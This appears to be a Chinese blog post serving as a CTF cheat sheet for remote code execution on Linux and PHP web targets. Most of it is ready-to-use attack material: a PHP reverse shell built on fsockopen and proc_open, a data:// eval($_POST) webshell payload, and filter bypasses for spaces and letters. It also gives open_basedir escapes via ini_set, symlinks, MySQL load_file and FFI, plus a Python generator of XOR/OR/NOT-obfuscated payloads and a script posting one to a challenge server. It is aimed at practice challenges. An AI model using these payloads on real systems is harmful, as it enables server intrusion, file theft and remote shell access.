定义

计算机安全领域任意代码执行(ACE) 是攻击者在目标机器或目标进程中)执行任意命令或代码的能力。一个任意代码执行漏洞)是软件或硬件,允许执行任意代码的安全漏洞。旨在利用此类漏洞的程序称为任意代码执行漏洞)。通过网络(尤其是通过互联网等广域网)触发任意代码执行的能力通常被称为远程代码执行(remote code execution)

Linux-Part

读取文件

#通常配合通配符使用绕过过滤如cat f*或者直接cat *查看所有文件
cat     flag.php#从头一行行输出
tac     flag.php#从最后一行开始向前一行行输出
rev     flag.php#把每一行都逆序后输出
nl      flag.php#输出文件和行号
mroe    flag.php#一页页翻文件
less    flag.php#类似more
head    flag.php#看前几行
tail    flag.php#看后几行
od      flag.php#byte形式输出(oct(八进制) 小端序)
vi      flag.php#编辑器打开文件(可能存在编码问题)
vim     flag.php#编辑器
sort    flag.php#对文件内容排序并输出
uniq    flag.php#删除重复列后输出
strings flag.php#以字符串形式输出
base64  flag.php#base64编码后输出
source  flag.php#把flag.php中的内容当做命令来执行
.       flag.php#等同于source flag.php

搜索文件

grep flag# 配合管道使用如ls |grep flag
find path/to/search -name  name_of_file#example: find / -name "*flag*" (2>/dev/null过滤报错)

通配符

|     #管道符,或者(正则)
>     #输出重定向
>>    #输出追加重定向
<     #输入重定向
<<    #追加输入重定向
~     #当前用户家目录
`` $() #引用命令被执行后的结果
$     #以。。。结尾(正则)
^     #以。。。开头(正则)
*     #匹配全部字符,通配符
?    #任意一个字符,通配符
#       #注释
&       #让程序或脚本切换到后台执行
&&      #并且 同时成立
[]      #表示一个范围(正则,通配符)
{}      #产生一个序列(通配符)
.       #当前目录的硬链接
..      #上级目录的硬链接

命令分割符

;   分割命令,顺序执行
&   后台执行
&&  只有前面的命令正确执行才能执行后面的命令
|   前一个命令的结果作为后一个命令的参数
||  不管命令是否正确,两个命令均会执行

其它

$[], $(())  进行数学运算, 可以用来构造数字
在$(())中默认是值相加,且$(())的值默认是0
故有$(())=0 $((~$(())))=-1 $(($((~$(())))$((~$(()))))) = -2

bash内置变量

https://blog.csdn.net/weixin_33725126/article/details/86024670

详见链接, 这里主要列几个

${PATH} #可执行文件的搜索路径. $PATH 里面放置了一些固定的目录,这些目录是不会变化的,这样的话,当我们输入命令时,永远可以保证不会随着自己的位置改变,而导致出乎意料(什么机翻,醉了)
${PWD} #当前所在目录 在服务器docker中, 通常是/var/www/html
${TERM} #TERM终端配置参数 似乎默认是xterm-256color 长度为14
${RANDOM} #随机一个数字
${SHLVL} #记录多个 Bash 进程实例嵌套深度的累加器
${#XXX} #取值的长度 如${TERM}为xterm-256color,则${#TERM}为14
${XXX:num} #从num处截断取此后的值,若num为~X则是从尾部开始取,若num不是数字,则等同于0
${XXX:num1:num2} #从num1处截断取此后num2长度的值,若num为~X则是从尾部开始取,若num不是数字,则等同于0
${##} #返回1
$? #上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

bash执行有误返回代码

"OS error code   1:  Operation not permitted"
"OS error code   2:  No such file or directory"
"OS error code   3:  No such process"
"OS error code   4:  Interrupted system call"
"OS error code   5:  Input/output error"
"OS error code   6:  No such device or address"
"OS error code   7:  Argument list too long"
"OS error code   8:  Exec format error"
"OS error code   9:  Bad file descriptor"
"OS error code  10:  No child processes"
#<A会报Operation not permitted的错误
#即<A;echo $?返回1

一些字符串对应如下(拿了一个题目容器测试的)

(www-data:/var/www/html) $ echo ${HOME}
/home/www-data
(www-data:/var/www/html) $ echo ${HOSTNAME}
b6203b12e8d6
(www-data:/var/www/html) $ echo ${USER}
www-data
(www-data:/var/www/html) $ echo ${PWD}
/var/www/html
(www-data:/var/www/html) $ echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
(www-data:/var/www/html) $ echo ${SHLVL}
2
(www-data:/var/www/html) $ echo ${TERM}
(www-data:/var/www/html) $ echo ${#TERM}
0

其它例子

rightp4th@LAPTOP-AA0BSRBF:/$ echo ${HOME}
/home/rightp4th
rightp4th@LAPTOP-AA0BSRBF:/$ echo ${HOME:5}
/rightp4th
rightp4th@LAPTOP-AA0BSRBF:/$ echo ${HOME:~a}
h
rightp4th@LAPTOP-AA0BSRBF:/$ echo ${HOME:5:2}
/r
rightp4th@LAPTOP-AA0BSRBF:/$ echo ${HOME:5:~2}
/rightp
rightp4th@LAPTOP-AA0BSRBF:/$ echo ${HOME::~2}
/home/rightp
rightp4th@LAPTOP-AA0BSRBF:/$ echo ${HOME::2}
/h

PHP-Part

常用函数

执行shell

system('dir')       //执行外部程序,并且显示输出
exec('dir')         //执行一个外部程序,不直接输出, 若echo输出,则只能看到最后一行的数据
shell_exec('dir')   //通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回,不直接输出
`dir`               //等同于shell_exec('dir')
passthru('dir')     //执行外部程序并且显示原始输出
pcntl_exec('/bin/sh',['ls'])    //在当前进程空间执行指定程序
popen('calc','r');          //打开进程文件指针
proc_open()     //执行一个命令,并且打开用来输入/输出的文件指针

其中proc_open的示例如下

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据
   1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据
   2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);

也可以直接用来反弹shell

$sock = fsockopen($ip, $port);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);

执行代码

eval()                //把字符串作为PHP代码执行
assert()              //检查一个断言是否为 FALSE,可用来执行代码
preg_replace()        //执行一个正则表达式的搜索和替换
call_user_func()      //把第一个参数作为回调函数调用
call_user_func_array()//调用回调函数,并把一个数组参数作为回调函数的参数
array_map()           //为数组的每个元素应用回调函数
include               //直接包含代码
include_once          //同include,但不会重复包含文件
require               //直接包含代码,若错误则退出程序

用于无参数RCE

一般是直接读文件,读本目录,上级目录,根目录之类的文件

初始目的,扫当前目录

显示数据
  • var_dump()
  • print_r()
扫当前目录
  • scandir(path_str)
获取当前目录路径
  • getcwd()
  • realpath('.')
获得字符
获得[.]
  • localeconv() # 得到一个数组,其中第一个的值是.
  • 构造chr(46), 如

    • chr(current(localtime(time()))) # localtime(time())返回当前时间 current取到数组的第一个,代表当前秒的数值,故46秒时即可得到.
    • chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))) 利用php版本为5.+,取整后利用数学运算得到46,详见链接
数组操作
  • current(array)/pos(array) # 取数组的第一个值
  • next(array) # 取数组的第二个值
  • array_reverse(array) # 倒序数组
  • array_flip(array) # 交换数组的键值
  • array_rand(array) # 返回数组中的随机键名
读文件

show_source() highlight_file() readfile() file_get_contents() readgzfile() 后面三个要查看网页源码

bypass

空格

rightp4th@LAPTOP-AA0BSRBF:~$ fuck=$'\x20*'&&cat$fuck
flag{teest_flag}
rightp4th@LAPTOP-AA0BSRBF:~$ fuck=$'\x09*'&&cat$fuck
flag{teest_flag}
rightp4th@LAPTOP-AA0BSRBF:~$ cat$IFS*
flag{teest_flag}
rightp4th@LAPTOP-AA0BSRBF:~$ cat<*
flag{teest_flag}
rightp4th@LAPTOP-AA0BSRBF:~$ cat<>*
flag{teest_flag}

php下就有

  • passthru("tacx20*");
  • passthru("tac%09*");

命令

巧用通配符

linux下的命令都放在/bin中, 那么我们可以使用?来匹配命令从而绕过

/bin/?at flag.php   #等同于cat
/bin/????64 flag.php#即base64
/???/?????????      #匹配/tmp/phpXXXXXX临时文件

open_basedir

读目录

glob配合DirectoryIterator和FileSystemIterator查看文件列表

$a = new DirectoryIterator('glob:///*');
foreach ($a as $f){
    echo $f->__toString().' ';
}
读文件
  1. shell命令不受限制
  2. 使用ini_set和chdir配合修改open_basedir

    c=mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/hosts');
  3. symlink软连接

    <?php
        show_source(__FILE__);
        
        mkdir("1");chdir("1");
        mkdir("2");chdir("2");
        mkdir("3");chdir("3");
        mkdir("4");chdir("4");
        
        chdir("..");chdir("..");chdir("..");chdir("..");
        
        symlink("1/2/3/4","html");
        symlink("html/../../../../etc/hosts","flag");
        unlink("test");
        mkdir("test");
        echo file_get_contents("flag");
    ?>
  4. 使用数据库来读文件

    try {
        $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
            'root');
        foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
            echo ($row[0]) . "|";
        }
        $dbh = null;
    } catch (PDOException $e) {
        echo $e->getMessage();
    }
    exit(0);
  5. 使用FFI(外部函数接口,PHP>=7.4)

    $ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
    $a='/readflag > 1.txt';//没有回显的
    $ffi->system($a);//通过$ffi去调用system函数

伪协议

data

data://text/plain,<?php eval($_POST[1]);?>

其中data://中的//可省略,同时可以使用base64

data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

filter

伪协议可与include等一起使用,如

c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Trick

不可见字符RCE

通过&, | , &等位运算,得到命令符号

import re


def orgenerate(aimchar, str1, str2, restr):
    for i in range(256):
        for j in range(256):
            if re.search(restr, f'("{str1}{chr(i)}"|"{str2}{chr(j)}")') is None and chr(i | j) == aimchar:
                return str1 + chr(i), str2 + chr(j)


def xorgenerate(aimchar, str1, str2, restr):
    for i in range(256):
        for j in range(256):
            if re.search(restr, f'("{str1}{chr(i)}"^"{str2}{chr(j)}")') is None and chr(i ^ j) == aimchar:
                return str1 + chr(i), str2 + chr(j)


def action(funct, comm, type):
    func = [funct, comm]
    restr = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
    print('[*] ', end='')
    if int(type) != 3:
        oper = lambda: '', '^' if int(type) == 1 else '|', xorgenerate if int(type) == 1 else orgenerate
        for c in func:
            str1, str2 = '', ''
            for n in c:
                str1, str2 = oper[2](n, str1, str2, restr)
            print(f'''("%{'%'.join([hex(ord(i))[2:].zfill(2).upper() for i in str1])}"{oper[1]}"%{'%'.join([hex(ord(i))[2:].zfill(2).upper() for i in str2])}")''', end='')
    else:
        print(
            f'(~{"".join([f"%{hex(~ord(i) + 256)[2:].zfill(2).upper()}" for i in func[0]])})(~{"".join([f"%{hex(~ord(i) + 256)[2:].zfill(2).upper()}" for i in func[1]])})',
            end='')
    return ';'


while True:
    print(action(input("\n[+] your function:"), input("[+] your command:"),
                 input("[+] your type( 1 for XOR, 2 for OR and 3 for NOT):")))

glob的妙用

见尾部参考文章中的p神博客

通过cookie获得参数

  • getallheaders():返回请求头的参数, 这样在头部加参数 执行即可
  • get_defined_vars()
    返回的是
$\_GET
$\_POST
$\_COOKIE
$\_FILES
others

的值

对应修改即可

利用file的脚本如

import requests

url = 'http://a0b9861f-1a18-4474-9bb6-52c242137e6c.challenge.ctf.show:8080/'
files = {"system('ls');": ''}
res = requests.post(f'{url}?c=eval(pos(pos(next(array_reverse(get_defined_vars())))));', files=files)
print(res.text)
  • session_id()

参考

https://www.leavesongs.com/PHP/backshell-via-php.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://blog.csdn.net/qq_38154820/article/details/107171940

https://blog.csdn.net/unexpectedthing/article/details/121916703

最后修改:2022 年 07 月 19 日 09 : 26 PM
如果觉得我的文章对你有用,请随意赞赏